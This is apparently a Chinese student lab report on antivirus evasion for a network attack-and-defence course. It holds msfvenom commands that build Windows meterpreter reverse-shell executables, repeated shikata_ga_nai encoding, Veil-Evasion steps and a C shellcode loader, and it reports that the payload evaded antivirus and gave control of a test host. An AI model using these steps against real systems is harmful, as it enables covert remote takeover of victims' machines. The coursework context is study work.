20145336 张子扬 《网络对抗技术》免杀原理与实践

20145336 张子扬 《网络对抗技术》免杀原理与实践

免杀技术

名词解释

单从汉语“免杀”的字面意思来理解,可以将其看为一种能使病毒木马避免被杀毒软件查杀的技术。但是不得不客观地说,免杀技术的涉猎面非常广,您可以由此轻松转型为反汇编、逆向工程甚至系统漏洞的发掘等其他顶级黑客技术,由此可见免杀并不简单。

技术分类

改变特征码

加壳:使用专业的加壳软件,掩盖特征码;

使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

使用其他语言进行重写再编译,如veil-evasion。

改变攻击行为

反弹式连接能大大减少被阻止查杀的风险;

在正常应用软件中插入恶意代码;

将恶意代码加密,运行恶意代码后再解密进行恶意操作;

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

使用社工类攻击,诱骗目标关闭AV软件。

纯手工打造一个恶意软件

基础问题回答

1.杀软是如何检测出恶意代码的?

创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;

看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;

根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。

2.免杀是做什么?

免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

改变特征码

加壳:使用专业的加壳软件,掩盖特征码;

使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

使用其他语言进行重写再编译,如veil-evasion。

改变攻击行为

反弹式连接能大大减少被阻止查杀的风险;

在正常应用软件中插入恶意代码;

将恶意代码加密,运行恶意代码后再解密进行恶意操作;

实验步骤

msfvenom直接生成meterpreter可执行文件

1、首先使用命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击主机ip PORT=监听端口号 -f exe > xxx.exe

使用生成meterpreter可执行文件xxx.exe

2、将文件传送到被控主机

这老哥一送过去他就被我的电脑干掉了,很脆弱。我用的是windows系统本身自带的windows自带的windows defender,这款杀毒软件虽然是自带的,但是真心很强力,再此力荐。

3、我使用http://www.virscan.org网站进行代码检测,这个网站的作用就是检测有多少杀毒软件可以检查出你的病毒代码。

其结果如下:

检测结果大部分杀毒软件都可以查杀,说明这个病毒代码很脆弱,送到被攻击的主机上基本上就是去送的,我们之后要做的就是对代码进行处理,使这些杀毒软件杀不出来他们。

Msfvenom使用编码器生成meterpreter可执行文件

1、一次加壳

使用命令

msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -b ‘x00’ LHOST=攻击主机ip LPORT=监听端口 -f exe > xxx.exe

命令生成可执行文件xxx.exe

这里我们对代码进行一次加壳,之后的代码我们进行检测,检测结果如下:

我们发现还是有很多的杀毒软件可以发现病毒,但是已经有一些杀毒软件对这个病毒软件有崭新的看法。认为它没有病毒,但是这还不够,我们继续对这个病毒进行加壳。

2、多次加壳

我们使用命令

msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘x00’ LHOST=攻击者ip LPORT=监听端口 -f exe > xxx-e8.exe

我们将文件编码8次,得到新的代码。之后我们继续对新的代码进行检测,检测结果如下:

我们发现又有跟多的的杀毒软件检测除了问题。我们对病毒添加了更多的外壳,理应更加安全,为什么还是被查出了。我们推测,杀毒软件对这种方法都是有防御性的,要不然你打包它几百次岂不无敌。

使用Veil-Evasion生成可执行文件

1、在kali中打开veil-evasion:直接在终端输入veil-evasion即可(在这因为我用的是直接从老师那里考来的虚拟机,所以里面本身就安装了这款软件,未安装的可以使用命令

sudo apt-get veil-evasion   

下载一个就行了)

2、是输入命令

use python/meterpreter/rev_tcp

结果如下:

3、设定攻击者的主机地址,监听的端口号

4、输入命令generate

5、生成可执行文件,为可执行文件命名。

6、选择编写方式,在这里我先择第一种

7、之后我对病毒进行检测,发现只有少数杀毒软件检测出病毒。

使用C语言调用Shellcode

1、使用

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=监听端口号 -f c

生成一个shellcode数组

2、使用这组数组编写一个程序

3、将生成可执行文件。我们检测以下这个文件,发现这又极少数杀毒软件发现了病毒,说明还是很成功的。

电脑实测

首先根据最后一个实验生成一个带有shellcode数组的病毒软件

然后将他传输到被控端,并没有被查杀出病毒

获取权限,对被控端实行控制

离实战还缺些什么技术或步骤

1、我觉得现在我们知识初步的了解了攻击流程,对攻击手段有了一定的认识。但在很多细节方面还缺少一定的火候。比如我们怎么把我们的病毒送到攻击主机上,现在我们实验中只是使用ncat,或者直接拷贝。这样显然在实战中是不可以的。所以我们可以接触一些植入病毒的方法。

2、通过本次实践,我发现杀毒软件这个东西还是蛮强大的。我们如果想实战,我们需要解决杀毒软件这个强大的对手。本次实验中我们只学习了一些皮毛,之后在这一方面我们还需深入研究,连杀软这一关都过不去,就不要提实战了。

3、在攻击控制端,我们了解的方法还是比较单一。学习了解更多的攻击方法,以备解决更多的突发情况。

实验总结与体会

本次实验是对病毒进行免杀处理,各种免杀处理效果都不太一样。但还是有很有用的免杀处理技术,所以作为一个用户的角度,我们在生活中不能过分的以来杀软。认为安装杀毒软件,电脑就很安全了,可以肆意的使用网络。还是需要培养一定的安全意识,防范于未然。作为一个攻击者,我认为免杀技术是一项最基本的技术。病毒刚植入就被查杀,就别提攻击了。所以在免杀能力这一方面我们应该加强。

原文地址:https://www.cnblogs.com/20145336yang/p/6623654.html